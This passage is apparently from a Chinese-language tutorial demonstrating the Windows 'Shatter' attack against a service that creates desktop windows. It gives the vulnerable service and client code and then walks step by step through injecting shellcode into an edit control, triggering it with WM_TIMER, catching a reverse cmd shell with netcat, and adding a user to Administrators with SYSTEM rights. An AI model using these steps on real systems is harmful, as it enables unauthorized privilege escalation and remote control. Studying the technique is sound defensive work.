　　　　lpszPipeName , // name of pipe
　　　　FILE_FLAG_OVERLAPPED 　
　　　　PIPE_ACCESS_DUPLEX, // pipe open mode
　　　　PIPE_TYPE_MESSAGE 　
　　　　PIPE_READMODE_MESSAGE 　
　　　　PIPE_WAIT, // pipe IO type
　　　　1, // number of instances
　　　　0, // size of outbuf
　　　　//(0 == allocate as necessary)
　　　　0, // size of inbuf
　　　　1000, // default time-out value
　　　　sa); // security attributes
　　　　......
　　　　......
　　　　while ( 1 )
　　　　{
　　　　......
　　　　......
　　　　ConnectNamedPipe(hPipe, os);
　　　　......
　　　　......
　　　　bRet = ReadFile(
　　　　hPipe, // file to read from
　　　　szIn, // address of input buffer
　　　　sizeof(szIn), // number of bytes to read
　　　　&cbRead, // number of bytes read
　　　　os); // overlapped stuff, not needed
　　　　......
　　　　......
　　　　_stprintf(szOut, _T("Please check the Dialog Box"));
　　　　_stprintf(szOut1, _T("Eacho Back! [%s]"), szIn);
　　　　......
　　　　......
　　　　bRet = WriteFile(
　　　　hPipe, // file to write to
　　　　szOut, // address of output buffer
　　　　sizeof(szOut), // number of bytes to write
　　　　&cbWritten, // number of bytes written
　　　　os); // overlapped stuff, not needed
　　　　......
　　　　......
　　　　DisconnectNamedPipe(hPipe);
　　　　m_dlgParam.numOfHit++;
　　　　m_dlgParam.msg = szOut1;
　　　　/*
　　　　在登录用户的Desktop上创建一个窗口
　　　　*/
　　　　int result = DialogBoxParam(hAppInstance,
　　　　MAKEINTRESOURCE(IDD_SVCMSG),
　　　　NULL,
　　　　(DLGPROC) DialogProc,
　　　　(LPARAM) &m_dlgParam);
　　　　}
　　　　cleanup:
　　　　......
　　　　......
　　　　}
　　　　
　　　　VOID ServiceStop()
　　　　{
　　　　if ( hServerStopEvent )
　　　　SetEvent(hServerStopEvent);
　　　　}
　　　　#define SIZEOFBUF 40
　　　　/*
　　　　Window的Message Handler
　　　　*/
　　　　BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM
　　　　wParam, LPARAM lParam)
　　　　{
　　　　DlgParam* l_pDlgParam = (DlgParam*) lParam;
　　　　CHAR tempBuf[SIZEOFBUF];
　　　　switch (uMsg)
　　　　{
　　　　case WM_INITDIALOG:
　　　　{
　　　　HWND hNumVisit = GetDlgItem(hwnd, IDC_NUMHIT);
　　　　/*限定Edit Control的尺寸(Size)为3*/
　　　　SendMessage( hNumVisit, EM_LIMITTEXT, (WPARAM) 3,
　　　　(LPARAM)0);
　　　　_itoa(l_pDlgParam->numOfHit, tempBuf,10);
　　　　SendMessage(hNumVisit, WM_SETTEXT, (WPARAM)
　　　　0,(LPARAM)tempBuf);
　　　　
　　　　HWND hMsg = GetDlgItem(hwnd, IDC_MSG);
　　　　/*限定Edit Control的尺寸(Size)为40*/
　　　　SendMessage( hMsg, EM_LIMITTEXT, (WPARAM) SIZEOFBUF,
　　　　(LPARAM)0);
　　　　SendMessage( hMsg, WM_SETTEXT, (WPARAM) 0,
　　　　(LPARAM) l_pDlgParam->msg );
　　　　SetForegroundWindow(hwnd);
　　　　return FALSE;
　　　　}
　　　　case WM_COMMAND:
　　　　{
　　　　switch (LOWORD(wParam))
　　　　{
　　　　case IDC_OK:
　　　　EndDialog(hwnd, IDC_OK);
　　　　return FALSE;
　　　　default:
　　　　return FALSE;
　　　　}
　　　　}
　　　　}
　　　　return FALSE;
　　　　}
　　
　　　　下面是程序Client.c，非常简单，它的功能仅仅是向“\\.\pipe\simple”发送几个字节：
　　　　
　　　　
　　　　// client.cpp : Defines the entry point for the console
　　　　application.
　　　　//
　　　　#include
　　　　#include
　　　　#include
　　　　#include
　　　　
　　　　int main(int argc, char* argv[])
　　　　{
　　　　char inbuf[80];
　　　　char outbuf[80];
　　　　DWORD bytesRead;
　　　　BOOL ret;
　　　　LPSTR lpszPipeName = "\\\\.\\pipe\\simple";
　　　　LPSTR lpszString = "World";
　　　　strcpy( outbuf, lpszString );
　　　　ret = CallNamedPipeA(lpszPipeName,
　　　　outbuf, sizeof(outbuf),
　　　　inbuf, sizeof(inbuf),
　　　　&bytesRead, NMPWAIT_WAIT_FOREVER);
　　　　if (!ret) {
　　　　printf("client: CallNamedPipe failed for %d\n",
　　　　GetLastError());
　　　　exit(1);
　　　　}
　　　　printf("client: received: %s\n", inbuf);
　　　　
　　　　return 0;
　　　　}
　　　　
　　　　
　　　　FOON编写了一个攻击工具Shatter，大家可以参考他的文章来使用这个工具，而且他的网站上还有Shatter的源程序。这个程序专门攻击象SimpleService这样会创建Window的服务进程，它首先把Window中Edit
　　　　Control的尺寸(Size)扩大，然后把可执行的黑客码沾贴到Edit中，这样就把黑客码拷贝到这个Window进程的内存中了----很Cool吧！接下来我们就要寻找黑客码在内存中的地址，FOON是用Windbg去寻找这个地址的，详情请参考他的文章。最后Shatter向Window进程发送一个定时执行Message----“WM_TIMER”，迫使Window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成，它产生一个远程的cmd
　　　　shell联结回到Client机器上，所以我们可以用鼎鼎有名的netcat程序与它联络。
　　　　我现在来演示一下使用Shatter攻击SimpleService的过程，看看普通用户“moda”是如何通过Shatter提升权限的：
　　　　先以普通用户“moda”登录，看看本地Administrators组当前的成员：
　　　　Microsoft Windows 2000 [Version 5.00.2195]
　　　　(C) Copyright 1985-1999 Microsoft Corp.
　　　　D:\MyJob\tool\netcat>net localgroup administrators
　　　　Alias name administrators
　　　　Comment Administrators have complete and unrestricted
　　　　access to the
　　　　Members
　　　　-----------------------------------------------------------------------------
　　　　Administrator
　　　　The command completed successfully.
　　　　本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。
　　　　D:\MyJob\tool\netcat>net localgroup administrators /add
　　　　moda
　　　　System error 5 has occurred.
　　　　Access is denied.
　　　　很惨呀，得了一个“Access is denied.”的错误。
　　　　下面运行程序Client，向SimpleService发送几个字节，於是SimpleService在普通用户“moda”的Desktop上产生一个对话框：
　　　　
　　　　这个对话框上有两个Edit Controls，一个对应着“Number Of
　　　　Hit”，这里输出SimpleService的Named Pipe被访问的次数；一个对应着“Message
　　　　Back”，这里输出SimpleService的Message。这两个Edit都可以被攻击利用，不过我这里以“Message
　　　　Back”的Edit为例。让我们运行FOON的攻击程序Shatter：
　　　　第一步：
　　　　我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到，“Message
　　　　Back”的Edit只允许40个char，而jill的黑客码显然超过了这个长度，所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT，把它的尺寸扩大到0xffffffff(见下图)。
　　　　第二步：
　　　　把FOON改编的jill黑客码拷贝到Clipboard上，然后往Edit发送WM_PASTE，你可以看到Edit中马上堆积了一长串乱七八糟的字符，这就是jill黑客码。
　　　　第三步：
　　　　利用Windbg去寻找jill黑客码在Window内存中的地址，这个过程FOON已经讲得很清楚了，所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。
　　　　
　　　　第四步：
　　　　另外打开一个Dos窗口运行netcat，我们准备与打入敌营的侦察兵jill联络：
　　　　D:\MyJob\tool\netcat>
　　　　D:\MyJob\tool\netcat>nc -lp 123
　　　　第五步：
　　　　向Edit发送WM_TIMER，让Window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容，它输出一些版权信息。
　　　　D:\MyJob\tool\netcat>
　　　　D:\MyJob\tool\netcat>nc -lp 123
　　　　Microsoft Windows 2000 [Version 5.00.2195]
　　　　(C) Copyright 1985-1999 Microsoft Corp.
　　　　第六步：
　　　　现在你就可以通过netcat与Window进程中的cmd
　　　　Shell联系，可以向它发送命令，从它那里得到命令运行结果。这个cmd Shell具有Local
　　　　System的权限，所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中：
　　　　D:\WINNT\system32>net localgroup administrators /add
　　　　moda
　　　　net localgroup administrators /add moda
　　　　The command completed successfully.
　　　　D:\WINNT\system32>net localgroup administrators
　　　　net localgroup administrators
　　　　Al